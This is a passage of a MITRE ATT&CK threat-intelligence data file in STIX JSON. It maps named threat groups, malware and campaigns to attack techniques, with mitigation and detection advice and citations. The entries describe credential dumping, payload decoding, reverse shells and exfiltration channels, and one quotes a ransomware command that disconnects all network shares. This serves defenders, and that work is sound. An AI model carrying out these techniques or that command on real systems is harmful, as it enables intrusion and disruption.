","relationship_type":"uses","source_ref":"malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--566d783a-2d86-4b9a-8ca0-5013de5f7fb4","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"OilRig New Delivery Oct 2017","description":"Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"}],"modified":"2020-03-28T21:35:37.265Z","description":"[ISMInjector](https://attack.mitre.org/software/S0189) uses the certutil command to decode a payload file.(Citation: OilRig New Delivery Oct 2017)","relationship_type":"uses","source_ref":"malware--5be33fef-39c0-4532-84ee-bea31e1b5324","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--566db8cc-9dd7-496b-8d40-e510fcf6b9fe","created":"2022-03-24T14:12:38.013Z","x_mitre_version":"1.0","external_references":[{"source_name":"GitHub MOTW","url":"https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7","description":"wdormann. (2019, August 29). Disable Windows Explorer file associations for Disc Image Mount. Retrieved April 16, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Consider disabling auto-mounting of disk image files (i.e., .iso, .img, .vhd, and .vhdx). This can be achieved by modifying the Registry values related to the Windows Explorer file associations in order to disable the automatic Explorer \"Mount and Burn\" dialog for these file extensions. Note: this will not deactivate the mount functionality itself.(Citation: GitHub MOTW)","modified":"2022-04-16T20:03:06.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--566f99e4-d29f-4b73-a515-aa919ac89957","created":"2022-08-03T03:22:54.501Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SpecterOps Certified Pre Owned","description":"Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.","url":"https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-21T20:32:29.688Z","description":"Ensure CA audit logs are enabled and monitor these services for signs of abuse.(Citation: SpecterOps Certified Pre Owned)","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56713b27-7353-4fbd-9307-b9a9075e1309","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5677034a-7015-44a2-94b3-9913bc76b9c7","type":"relationship","created":"2019-04-16T14:47:49.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group","source_name":"Symantec Gallmaker Oct 2018"}],"modified":"2020-03-30T02:16:58.128Z","description":"[Gallmaker](https://attack.mitre.org/groups/G0084) has used WinZip, likely to archive data prior to exfiltration.(Citation: Symantec Gallmaker Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5680146f-fc33-4b3e-bbc0-66a7f74587d3","type":"relationship","created":"2019-04-17T16:58:29.419Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"District Court of NY APT10 Indictment December 2018","url":"https://www.justice.gov/opa/page/file/1122671/download","description":"US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."}],"modified":"2020-12-17T19:56:08.070Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used key loggers to steal usernames and passwords.(Citation: District Court of NY APT10 Indictment December 2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5682d524-80f0-4fd8-9960-6f54eeafce96","type":"relationship","created":"2017-05-31T21:33:27.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2020-03-24T20:13:40.075Z","description":"[Turla](https://attack.mitre.org/groups/G0010) may attempt to connect to systems within a victim's network using net use commands and a predefined list or collection of passwords.(Citation: Kaspersky Turla)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5685e636-7ee7-47d2-a179-edcaa9d26938","created":"2024-07-19T19:04:07.093Z","revoked":false,"external_references":[{"source_name":"TrendMicro Pikabot 2024","description":"Shinji Robert Arasawa, Joshua Aquino, Charles Steven Derion, Juhn Emmanuel Atanque, Francisrey Joshua Castillo, John Carlo Marquez, Henry Salcedo, John Rainier Navato, Arianne Dela Cruz, Raymart Yambot & Ian Kenefick. (2024, January 9). Black Basta-Affiliated Water Curupira’s Pikabot Spam Campaign. Retrieved July 17, 2024.","url":"https://www.trendmicro.com/en_us/research/24/a/a-look-into-pikabot-spam-wave-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-19T19:04:07.093Z","description":"[Water Curupira Pikabot Distribution](https://attack.mitre.org/campaigns/C0037) distributed a PDF attachment containing a malicious link to a [Pikabot](https://attack.mitre.org/software/S1145) installer.(Citation: TrendMicro Pikabot 2024)","relationship_type":"uses","source_ref":"campaign--57541e3b-657e-463a-a4ab-ca08d7ea9965","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5687f6c6-f749-456e-a7fe-179017d50e9b","created":"2023-03-17T14:05:09.788Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Lazarus Nov 2020","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/"},{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-21T17:17:50.336Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used [Torisma](https://attack.mitre.org/software/S0678) to actively monitor for new drives and remote desktop connections on an infected system.(Citation: McAfee Lazarus Jul 2020)(Citation: McAfee Lazarus Nov 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"malware--0715560d-4299-4e84-9e20-6e80ab57e4f2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--56889f30-eb6c-4286-b25a-39d35f93a1c0","created":"2023-07-31T19:39:47.808Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Volt Typhoon May 2023","description":"Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T08:49:18.213Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has run system checks to determine if they were operating in a virtualized environment.(Citation: Microsoft Volt Typhoon May 2023)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--568964d5-6205-4d46-9d14-2914ba349afd","created":"2024-03-12T19:56:03.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-13T20:31:57.260Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors used the Unix socket and a reverse TCP shell for C2 communications.(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--568e3a13-be72-4e1b-8bf0-bdfc6fa3dc2b","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"},{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"},{"source_name":"Mandiant URL Obfuscation 2023","description":"Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.","url":"https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-31T04:18:44.574Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) URL inspection within email (including expanding shortened links and identifying obfuscated URLs) can help detect links leading to known malicious sites.(Citation: Mandiant URL Obfuscation 2023) Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nFurthermore, monitor browser logs for homographs in ASCII and in internationalized domain names abusing different character sets (e.g. Cyrillic vs Latin versions of trusted sites).","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5697b245-d888-40ab-af72-9236c6daa273","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T00:19:38.028Z","description":"[BACKSPACE](https://attack.mitre.org/software/S0031) uses HTTP as a transport to communicate with its command server.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--fb261c56-b80e-43a9-8351-c84081e7213d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--569815f7-4a3f-47f3-8903-0b0b2d409c3c","type":"relationship","created":"2020-09-23T15:18:36.581Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.438Z","description":"[MiniDuke](https://attack.mitre.org/software/S0051) can use control flow flattening to obscure code.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--56996982-a954-44d6-9d99-c23d4babccc1","created":"2022-02-09T14:13:51.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Kimsuky Nov 2021","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"},{"source_name":"Mandiant APT43 March 2024","description":"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.","url":"https://services.google.com/fh/files/misc/apt43-report-en.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-07T19:14:04.506Z","description":"(Citation: Talos Kimsuky Nov 2021)(Citation: Mandiant APT43 March 2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"malware--28b97733-ef07-4414-aaa5-df50b2d30cc5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--569abeb3-4d27-4157-a50f-0ec8fc4b3f92","created":"2024-07-16T18:10:48.867Z","revoked":false,"external_references":[{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-16T18:10:48.867Z","description":"[Pikabot](https://attack.mitre.org/software/S1145) uses non-standard ports, such as 2967, 2223, and others, for HTTPS command and control communication.(Citation: Elastic Pikabot 2024)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56a866fd-1a37-4750-89e6-2e26ed69cb27","type":"relationship","created":"2019-01-29T20:17:49.304Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/","source_name":"Unit 42 Tropic Trooper Nov 2016"}],"modified":"2019-06-30T22:44:28.309Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) delivered malicious documents with the XLSX extension, typically used by OpenXML documents, but the file itself was actually an OLE (XLS) document.(Citation: Unit 42 Tropic Trooper Nov 2016)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--56aab689-f68d-4a38-a814-d9a54d04093d","created":"2024-03-13T21:19:16.960Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Segurança Informática URSA Sophisticated Loader 2020","description":"Pedro Tavares (Segurança Informática). (2020, September 15). Threat analysis: The emergent URSA trojan impacts many countries using a sophisticated loader. Retrieved March 13, 2024.","url":"https://seguranca-informatica.pt/threat-analysis-the-emergent-ursa-trojan-impacts-many-countries-using-a-sophisticated-loader/"},{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-18T14:46:31.346Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) has used a variety of Windows API calls, including ShellExecute and WriteProcessMemory.(Citation: Segurança Informática URSA Sophisticated Loader 2020)(Citation: SCILabs Malteiro 2021)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56ad8893-2933-4b3b-a84d-026d9afb7dcb","type":"relationship","created":"2020-03-20T19:12:22.367Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Turla PowerShell May 2019","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."},{"description":"Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments","source_name":"Symantec Waterbug Jun 2019"}],"modified":"2020-03-20T19:12:22.367Z","description":"[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors can be used to transfer files to/from victim machines on the local network.(Citation: ESET Turla PowerShell May 2019)(Citation: Symantec Waterbug Jun 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56af2eea-6c9d-4917-b7d9-275877cb552a","type":"relationship","created":"2020-05-27T15:31:09.532Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:09.936Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used Mimikatz to retrieve credentials from LSASS memory.(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--56b308f6-0ec9-42cd-8fc7-147c8ecd5c40","created":"2024-09-04T18:20:42.058Z","revoked":false,"external_references":[{"source_name":"Talos Manjusaka 2022","description":"Asheer Malhotra & Vitor Ventura. (2022, August 2). Manjusaka: A Chinese sibling of Sliver and Cobalt Strike. Retrieved September 4, 2024.","url":"https://blog.talosintelligence.com/manjusaka-offensive-framework/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T18:20:42.058Z","description":"[Manjusaka](https://attack.mitre.org/software/S1156) data exfiltration takes place over HTTP channels.(Citation: Talos Manjusaka 2022)","relationship_type":"uses","source_ref":"malware--dd2ad3d7-d7ef-4af5-a919-bfe8f2571705","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--56b47ce2-9baa-421b-9187-c780615b97de","created":"2019-09-24T12:42:37.500Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-22T22:25:48.150Z","description":"[APT41](https://attack.mitre.org/groups/G0096) deleted files from the system.(Citation: FireEye APT41 Aug 2019)(Citation: Rostovcev APT41 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56b59fda-e96d-443d-9f45-e4cc967c911a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2020-03-16T17:12:22.572Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194)'s Invoke-TokenManipulation Exfiltration module can be used to manipulate tokens.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56b6a1b5-b7ec-4974-baf1-9e4565ce5b78","type":"relationship","created":"2019-07-29T14:31:28.731Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.","url":"https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/","source_name":"CarbonBlack RobbinHood May 2019"}],"modified":"2019-07-29T15:46:15.050Z","description":"[RobbinHood](https://attack.mitre.org/software/S0400) disconnects all network shares from the computer with the command net use * /DELETE /Y.(Citation: CarbonBlack RobbinHood May 2019)","relationship_type":"uses","source_ref":"malware--0a607c53-df52-45da-a75d-0e53df4dad5f","target_ref":"attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56b6c694-6d04-4799-9a34-b4c66f25b30e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lazarus RATANKBA","description":"Lei, C., et al. (2018, January 24). Lazarus 